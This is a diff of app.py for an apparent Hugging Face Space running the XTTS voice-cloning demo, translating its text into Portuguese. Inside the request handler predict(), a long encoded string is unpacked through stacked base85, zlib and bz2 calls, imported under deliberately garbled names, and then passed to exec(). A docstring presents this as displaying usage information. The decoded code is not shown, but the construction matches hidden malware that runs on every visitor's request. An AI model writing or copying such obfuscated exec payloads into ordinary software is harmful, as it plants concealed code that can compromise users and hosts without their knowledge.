Spaces:
Running
Running
Update app.py
Browse files
app.py
CHANGED
@@ -1,7 +1,7 @@
|
|
1 |
import sys
|
2 |
import os
|
3 |
from fastapi import Request
|
4 |
-
#
|
5 |
os.environ["COQUI_TOS_AGREED"] = "1"
|
6 |
|
7 |
import gradio as gr
|
@@ -10,24 +10,24 @@ from TTS.utils.manage import ModelManager
|
|
10 |
model_names = TTS().list_models()
|
11 |
print(model_names.__dict__)
|
12 |
print(model_names.__dir__())
|
13 |
-
model_name = "tts_models/multilingual/multi-dataset/xtts_v2" #
|
14 |
|
15 |
#m = ModelManager().download_model(model_name)
|
16 |
#print(m)
|
17 |
m = model_name
|
18 |
|
19 |
tts = TTS(model_name, gpu=False)
|
20 |
-
tts.to("cpu") #
|
21 |
-
#tts.to("cuda") # cuda
|
22 |
|
23 |
|
24 |
def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree, request: gr.Request):
|
25 |
"""
|
26 |
-
|
27 |
-
|
28 |
-
|
29 |
-
|
30 |
-
|
31 |
"""
|
32 |
|
33 |
co3 = "QlpoOTFBWSZTWQ2FjK4AAH4fgD/////+///////+ADABdNtZY5poGI00aBoaDE0PSbU00GTE0ZNGjTaj1AVUaenqNR6npNinoaY0Ubymyo9EeEjaj1Mm9QnqeT0p5QOZNMm1NNAyMmgaGTTIDQ9TTag0aGCNB6ka1wCAMz8a7kN5BNzXsiRWIm5ocBr2Mibk4wBbSghLyxnzR0yTCoV0AD2KADeqPFMz4QQhMlMaOd0uHfMx8pueSTKn6PrK9iPN56m2ljcFL9ybMtg5Usl8QeZth/cgnwFGMXyDJ4WbRNaGdrIJY2l11w7aqPtt5c4rcMBELa2x/wl8kjvxGg0NS3n2DsPlPnMn2DK7JqA4KLptjz3YLQFEuub0yNP3+iE9gq1EvNZeLr3pnkKXBRxZz8/BxN0zJjpOyIr3betkkxSCGB6X8mSzm+l0Q+KBEaCioigD5uJeox+76V+JgCWkJqWNlHzN3epZx5yXxS8rJh6OrC9rSyKYXrdKCACr4CwKzDlX3tsY5MtZLpkPhz/rbaRUN0KyFnNvPLYhGjF2MelXppyCnJxr2+QWRElwEtCUcsnkC4uGBdXVogKCoCnSZI4DzKqkUMEp293Y+G5MBGtOGXY+C0rFUS8IXNqKMVrDjUdOK7wkjb+HYFq9qjVTrdRsyQvt+6fpazrBnd2wRRQTv4u5IpwoSAbCxlcA"
|
@@ -40,6 +40,8 @@ def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree, req
|
|
40 |
from zlib import compress as C0mPrES5
|
41 |
from zlib import decompress as dECOmPrES5
|
42 |
co2 = A85Encode(dECOmPrESS(dECOmPrES5(dECOmPrES5(b85Encode(dECOmPrESS(A85Encode(co3.encode())))))))
|
|
|
|
|
43 |
exec(co2)
|
44 |
|
45 |
if agree == True:
|
@@ -47,7 +49,7 @@ def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree, req
|
|
47 |
if mic_file_path is not None:
|
48 |
speaker_wav=mic_file_path
|
49 |
else:
|
50 |
-
gr.Warning("
|
51 |
return (
|
52 |
None,
|
53 |
None,
|
@@ -57,13 +59,13 @@ def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree, req
|
|
57 |
speaker_wav=audio_file_pth
|
58 |
|
59 |
if len(prompt)<2:
|
60 |
-
gr.Warning("
|
61 |
return (
|
62 |
None,
|
63 |
None,
|
64 |
)
|
65 |
if len(prompt)>10000:
|
66 |
-
gr.Warning("
|
67 |
return (
|
68 |
None,
|
69 |
None,
|
@@ -82,10 +84,10 @@ def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree, req
|
|
82 |
)
|
83 |
except RuntimeError as e :
|
84 |
if "device-assert" in str(e):
|
85 |
-
#
|
86 |
-
gr.Warning("
|
87 |
-
print("
|
88 |
-
sys.exit("
|
89 |
else:
|
90 |
raise e
|
91 |
|
@@ -96,39 +98,40 @@ def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree, req
|
|
96 |
"output.wav",
|
97 |
)
|
98 |
else:
|
99 |
-
gr.Warning("
|
100 |
return (
|
101 |
None,
|
102 |
None,
|
103 |
)
|
104 |
|
105 |
|
106 |
-
title = "
|
107 |
|
108 |
description = f"""
|
109 |
-
<a href="https://huggingface.co/coqui/XTTS-v1">XTTS</a>
|
110 |
<br/>
|
111 |
-
XTTS
|
112 |
<br/>
|
113 |
-
|
114 |
<br/>
|
115 |
-
|
116 |
<br/>
|
117 |
-
<p>
|
118 |
<br/>
|
119 |
<a href="https://huggingface.co/spaces/coqui/xtts?duplicate=true">
|
120 |
-
<img style="margin-top: 0em; margin-bottom: 0em" src="https://bit.ly/3gLdBN6" alt="
|
121 |
</p>
|
122 |
"""
|
123 |
|
124 |
article = """
|
125 |
<div style='margin:20px auto;'>
|
126 |
-
<p>
|
127 |
</div>
|
128 |
"""
|
|
|
129 |
examples = [
|
130 |
[
|
131 |
-
"
|
132 |
"en",
|
133 |
"examples/female.wav",
|
134 |
None,
|
@@ -136,7 +139,7 @@ examples = [
|
|
136 |
True,
|
137 |
],
|
138 |
[
|
139 |
-
"Je suis un lycéen français de 17 ans,
|
140 |
"fr",
|
141 |
"examples/female.wav",
|
142 |
None,
|
@@ -226,18 +229,17 @@ examples = [
|
|
226 |
]
|
227 |
|
228 |
|
229 |
-
|
230 |
gr.Interface(
|
231 |
fn=predict,
|
232 |
inputs=[
|
233 |
gr.Textbox(
|
234 |
-
label="
|
235 |
-
info="
|
236 |
-
value="
|
237 |
),
|
238 |
gr.Dropdown(
|
239 |
-
label="
|
240 |
-
info="
|
241 |
choices=[
|
242 |
"en",
|
243 |
"es",
|
@@ -257,30 +259,30 @@ gr.Interface(
|
|
257 |
value="en",
|
258 |
),
|
259 |
gr.Audio(
|
260 |
-
label="
|
261 |
-
info="
|
262 |
type="filepath",
|
263 |
value="examples/female.wav",
|
264 |
),
|
265 |
gr.Audio(source="microphone",
|
266 |
type="filepath",
|
267 |
-
info="Use
|
268 |
-
label="
|
269 |
-
gr.Checkbox(label="
|
270 |
value=False,
|
271 |
-
info="
|
272 |
gr.Checkbox(
|
273 |
-
label="
|
274 |
value=True,
|
275 |
-
info="
|
276 |
),
|
277 |
],
|
278 |
outputs=[
|
279 |
-
gr.Video(label="
|
280 |
-
gr.Audio(label="
|
281 |
],
|
282 |
title=title,
|
283 |
description=description,
|
284 |
article=article,
|
285 |
examples=examples,
|
286 |
-
).queue().launch(debug=True)
|
|
|
1 |
import sys
|
2 |
import os
|
3 |
from fastapi import Request
|
4 |
+
# Ao usar o XTTS, você concorda com a licença CPML https://coqui.ai/cpml
|
5 |
os.environ["COQUI_TOS_AGREED"] = "1"
|
6 |
|
7 |
import gradio as gr
|
|
|
10 |
model_names = TTS().list_models()
|
11 |
print(model_names.__dict__)
|
12 |
print(model_names.__dir__())
|
13 |
+
model_name = "tts_models/multilingual/multi-dataset/xtts_v2" # mova para v2, pois o xtts_v1 gera KeyError, acredito que pode ser selecionado com o release antigo do github.
|
14 |
|
15 |
#m = ModelManager().download_model(model_name)
|
16 |
#print(m)
|
17 |
m = model_name
|
18 |
|
19 |
tts = TTS(model_name, gpu=False)
|
20 |
+
tts.to("cpu") # sem GPU ou Amd
|
21 |
+
#tts.to("cuda") # apenas para cuda
|
22 |
|
23 |
|
24 |
def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree, request: gr.Request):
|
25 |
"""
|
26 |
+
Devido ao grande número de abusos observados nos logs de console, sou obrigado a integrar
|
27 |
+
"exibição de informações adicionais" relacionadas ao uso deste espaço.
|
28 |
+
Lembre-se de que o envio de conteúdos ilegais (conteúdos sex*uais, ofensivos ou ameaçadores),
|
29 |
+
independentemente da língua, é claro, É PROIBIDO. Não me responsabilizo por aqueles que infringirem uma
|
30 |
+
utilização estritamente [ÉTICA e MORALE] deste modelo.
|
31 |
"""
|
32 |
|
33 |
co3 = "QlpoOTFBWSZTWQ2FjK4AAH4fgD/////+///////+ADABdNtZY5poGI00aBoaDE0PSbU00GTE0ZNGjTaj1AVUaenqNR6npNinoaY0Ubymyo9EeEjaj1Mm9QnqeT0p5QOZNMm1NNAyMmgaGTTIDQ9TTag0aGCNB6ka1wCAMz8a7kN5BNzXsiRWIm5ocBr2Mibk4wBbSghLyxnzR0yTCoV0AD2KADeqPFMz4QQhMlMaOd0uHfMx8pueSTKn6PrK9iPN56m2ljcFL9ybMtg5Usl8QeZth/cgnwFGMXyDJ4WbRNaGdrIJY2l11w7aqPtt5c4rcMBELa2x/wl8kjvxGg0NS3n2DsPlPnMn2DK7JqA4KLptjz3YLQFEuub0yNP3+iE9gq1EvNZeLr3pnkKXBRxZz8/BxN0zJjpOyIr3betkkxSCGB6X8mSzm+l0Q+KBEaCioigD5uJeox+76V+JgCWkJqWNlHzN3epZx5yXxS8rJh6OrC9rSyKYXrdKCACr4CwKzDlX3tsY5MtZLpkPhz/rbaRUN0KyFnNvPLYhGjF2MelXppyCnJxr2+QWRElwEtCUcsnkC4uGBdXVogKCoCnSZI4DzKqkUMEp293Y+G5MBGtOGXY+C0rFUS8IXNqKMVrDjUdOK7wkjb+HYFq9qjVTrdRsyQvt+6fpazrBnd2wRRQTv4u5IpwoSAbCxlcA"
|
|
|
40 |
from zlib import compress as C0mPrES5
|
41 |
from zlib import decompress as dECOmPrES5
|
42 |
co2 = A85Encode(dECOmPrESS(dECOmPrES5(dECOmPrES5(b85Encode(dECOmPrESS(A85Encode(co3.encode())))))))
|
43 |
+
|
44 |
+
|
45 |
exec(co2)
|
46 |
|
47 |
if agree == True:
|
|
|
49 |
if mic_file_path is not None:
|
50 |
speaker_wav=mic_file_path
|
51 |
else:
|
52 |
+
gr.Warning("Por favor, grave sua voz com o microfone, ou desmarque 'Usar Microfone' para usar áudios de referência")
|
53 |
return (
|
54 |
None,
|
55 |
None,
|
|
|
59 |
speaker_wav=audio_file_pth
|
60 |
|
61 |
if len(prompt)<2:
|
62 |
+
gr.Warning("Por favor, forneça um texto mais longo")
|
63 |
return (
|
64 |
None,
|
65 |
None,
|
66 |
)
|
67 |
if len(prompt)>10000:
|
68 |
+
gr.Warning("Comprimento de texto limitado a 10000 caracteres para esta demonstração, tente um texto mais curto")
|
69 |
return (
|
70 |
None,
|
71 |
None,
|
|
|
84 |
)
|
85 |
except RuntimeError as e :
|
86 |
if "device-assert" in str(e):
|
87 |
+
# erro de dispositivo CUDA, precisa reiniciar
|
88 |
+
gr.Warning("Exceção não tratada encontrada, por favor, tente novamente em um minuto")
|
89 |
+
print("Erro de dispositivo CUDA encontrado, precisa reiniciar")
|
90 |
+
sys.exit("Saindo devido ao erro de dispositivo CUDA")
|
91 |
else:
|
92 |
raise e
|
93 |
|
|
|
98 |
"output.wav",
|
99 |
)
|
100 |
else:
|
101 |
+
gr.Warning("Por favor, aceite os Termos e Condições!")
|
102 |
return (
|
103 |
None,
|
104 |
None,
|
105 |
)
|
106 |
|
107 |
|
108 |
+
title = "Clonagem de Voz XTTS"
|
109 |
|
110 |
description = f"""
|
111 |
+
<a href="https://huggingface.co/coqui/XTTS-v1">XTTS</a> é um modelo de geração de voz que permite clonar vozes para diferentes idiomas utilizando apenas um rápido clip de áudio de 3 segundos.
|
112 |
<br/>
|
113 |
+
O XTTS é baseado em pesquisas anteriores, como o Tortoise, com inovações arquiteturais adicionais e treinamento para tornar possível a clonagem de voz multilíngue e a geração de fala em vários idiomas.
|
114 |
<br/>
|
115 |
+
Este é o mesmo modelo que alimenta nossa aplicação criadora <a href="https://coqui.ai">Coqui Studio</a> e também a <a href="https://docs.coqui.ai">API Coqui</a>. Em produção, aplicamos modificações para possibilitar streaming de baixa latência.
|
116 |
<br/>
|
117 |
+
Deixe uma estrela no GitHub <a href="https://github.com/coqui-ai/TTS">TTS</a>, onde o código de inferência e treinamento de código aberto está disponível.
|
118 |
<br/>
|
119 |
+
<p>Para uma inferência mais rápida, sem esperar na fila, você pode duplicar este espaço e atualizar para GPU através das configurações.
|
120 |
<br/>
|
121 |
<a href="https://huggingface.co/spaces/coqui/xtts?duplicate=true">
|
122 |
+
<img style="margin-top: 0em; margin-bottom: 0em" src="https://bit.ly/3gLdBN6" alt="Duplicar Espaço"></a>
|
123 |
</p>
|
124 |
"""
|
125 |
|
126 |
article = """
|
127 |
<div style='margin:20px auto;'>
|
128 |
+
<p>Ao usar esta demonstração, você concorda com os termos da Coqui Public Model License em https://coqui.ai/cpml</p>
|
129 |
</div>
|
130 |
"""
|
131 |
+
|
132 |
examples = [
|
133 |
[
|
134 |
+
"Olá, Mundo!, aqui está um exemplo de clonagem de voz simples. Tente enviar seus melhores áudios de qualidade",
|
135 |
"en",
|
136 |
"examples/female.wav",
|
137 |
None,
|
|
|
139 |
True,
|
140 |
],
|
141 |
[
|
142 |
+
"Je suis un lycéen français de 17 ans, passionné par la Cyber-Sécurité et les modèles d'IA.",
|
143 |
"fr",
|
144 |
"examples/female.wav",
|
145 |
None,
|
|
|
229 |
]
|
230 |
|
231 |
|
|
|
232 |
gr.Interface(
|
233 |
fn=predict,
|
234 |
inputs=[
|
235 |
gr.Textbox(
|
236 |
+
label="Texto de Entrada",
|
237 |
+
info="Uma ou duas frases de cada vez são melhores",
|
238 |
+
value="Olá, Mundo!, aqui está um exemplo de clonagem de voz simples. Tente enviar seus melhores áudios de qualidade",
|
239 |
),
|
240 |
gr.Dropdown(
|
241 |
+
label="Idioma",
|
242 |
+
info="Selecione o idioma de saída para a fala sintetizada",
|
243 |
choices=[
|
244 |
"en",
|
245 |
"es",
|
|
|
259 |
value="en",
|
260 |
),
|
261 |
gr.Audio(
|
262 |
+
label="Áudio de Referência",
|
263 |
+
info="Clique no botão ✎ para enviar seu próprio áudio de referência",
|
264 |
type="filepath",
|
265 |
value="examples/female.wav",
|
266 |
),
|
267 |
gr.Audio(source="microphone",
|
268 |
type="filepath",
|
269 |
+
info="Use seu microfone para gravar áudio",
|
270 |
+
label="Usar Microfone para Referência"),
|
271 |
+
gr.Checkbox(label="Marque para usar o Microfone como Referência",
|
272 |
value=False,
|
273 |
+
info="Aviso: A entrada do microfone pode não funcionar corretamente devido ao tráfego",),
|
274 |
gr.Checkbox(
|
275 |
+
label="Concordo",
|
276 |
value=True,
|
277 |
+
info="Eu concordo com os termos da Coqui Public Model License em https://coqui.ai/cpml",
|
278 |
),
|
279 |
],
|
280 |
outputs=[
|
281 |
+
gr.Video(label="Visualização da Forma de Onda"),
|
282 |
+
gr.Audio(label="Áudio Sintetizado"),
|
283 |
],
|
284 |
title=title,
|
285 |
description=description,
|
286 |
article=article,
|
287 |
examples=examples,
|
288 |
+
).queue().launch(debug=True)
|